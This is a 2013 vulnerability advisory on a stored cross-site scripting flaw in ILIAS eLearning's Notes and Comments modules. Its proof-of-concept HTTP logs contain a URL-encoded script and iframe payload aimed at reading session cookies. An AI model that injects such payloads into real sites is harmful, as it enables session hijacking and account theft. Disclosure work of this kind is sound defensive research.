Document Title: =============== ILIAS eLearning 4.3.4 & 4.4 CMS - Persistent Vulnerability Date: ===== 2013-10-28 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1122 VL-ID: ===== 1122 Common Vulnerability Scoring System: ==================================== 3.9 Introduction: ============= ILIAS is a web base learning management system (LMS, VLE). Features: Courses, SCORM 1.2 and 2004, mail, forum, chat, groups, podcast, file sharing, authoring, CMS, test, wiki, personal desktop, LOM, LDAP, role based access. (Copy of the Homepage: http://sourceforge.net/projects/ilias/ ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the ILIAS eLearning v4.3.4 & v4.4 CMS web-application. Report-Timeline: ================ 2013-10-28: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== ILIAS Product: ILIAS eLearning - Content Management System v4.3.4 & 4.4 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent input validation web vulnerability is detected in the ILIAS eLearning v4.3.4 & v4.4 CMS web-application. The bug allows an attacker (remote) to implement/inject own malicious persistent script codes (application-side). The persistent web vulnerability is located in the `Notes & Comments` module. Remote attackers are able to inject own malicious script code via POST method request in the vulnerable comment or note parameters. The execute occurs in the in the comments and private notes modules of the admin panel. Exploitation of the persistent web vulnerability requires low user interaction and a low privileged web-application user account. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, persistent phishing or persistent module context manipulation. Request Method(s): [+] POST Vulnerable Module(s): [+] Notes [+] Comments Vulnerable Parameter(s): [+] note Affected Module(s): [+] Private Notes [+] Comments Review Proof of Concept: ================= The persistent input validation web vulnerability can be exploited by remote attackers with low user interaction and low privileged web-application user account. For demonstration or to reproduce ... PoC: Public Comments & private Notes
Last edited on 26. Oct 2013

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--- PoC Session Logs --- Status: 302[Found] POST http://ilias.localhost:8080/ilias.php? note_type=1&cmd=post&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI&fallbackCmd=getNotesHTML&rtoken=2d302c4c574f61fc880f393433703e1b Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[20] Mime Type[text/html] Request Headers: Host[ilias.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://ilias.localhost:8080/ilias.php?note_type=1¬e_id=35&cmd=editNoteForm&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI] Cookie[ilClientId=demo; PHPSESSID=mgvf9np8j9394rr0jdjg6kcqb2; iltest=cookie; authchallenge=459071aa3327de70506cb2a465507bf5] Connection[keep-alive] Post Data: note[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fvulnerability-lab.com%2F%3E%40gmail.com%0D%0A%3E %22%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3Cdiv+style%3D%221%40gmail.com%0D%0A%3E%22%3Cscript%3Ealert%28 document.cookie%29%3C%2Fscript%3E%40gmail.com] cmd%5BupdateNote%5D[Update+Note] note_id[35] Response Headers: Date[Sat, 26 Oct 2013 21:12:44 GMT] Server[Apache/2.2.22 (Ubuntu)] X-Powered-By[PHP/5.3.10-1ubuntu3.8] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[http://ilias.localhost:8080/ilias.php?note_mess=mod&cmd=showNotes&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI#notes_top] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[20] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Content-Type[text/html] Status: 200[OK] GET http://ilias.localhost:8080/ilias.php?note_mess=mod&cmd=showNotes&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI#notes_top Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Content Size[4997] Mime Type[text/html] Request Headers: Host[ilias.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://ilias.localhost:8080/ilias.php?note_type=1¬e_id=35&cmd=editNoteForm&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI] Cookie[ilClientId=demo; PHPSESSID=mgvf9np8j9394rr0jdjg6kcqb2; iltest=cookie; authchallenge=459071aa3327de70506cb2a465507bf5] Connection[keep-alive] Response Headers: Date[Sat, 26 Oct 2013 21:12:44 GMT] Server[Apache/2.2.22 (Ubuntu)] X-Powered-By[PHP/5.3.10-1ubuntu3.8] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] P3P[CP="CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT CNT STA PRE"] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[4997] Keep-Alive[timeout=5, max=99] Connection[Keep-Alive] Content-Type[text/html; charset=UTF-8] Reference(s): ilias.localhost:8080/ilias.php?baseClass=ilPersonalDesktopGUI&cmd=jumpToSelectedItems ilias.localhost:8080/ilias.php?note_mess=mod&cmd=showNotes&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI#notes_top ilias.localhost:8080/ilias.php?note_type=1&cmd=post&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI&fallbackCmd=getNotesHTML&rtoken=x Solution: ========= The vulnerability can be patched by a secure parse and encode of the note input field. Recognize also the affected output section were the vulnerable value executes. Risk: ===== The security risk of the persistent input validation web vulnerability is estimated as medium(+). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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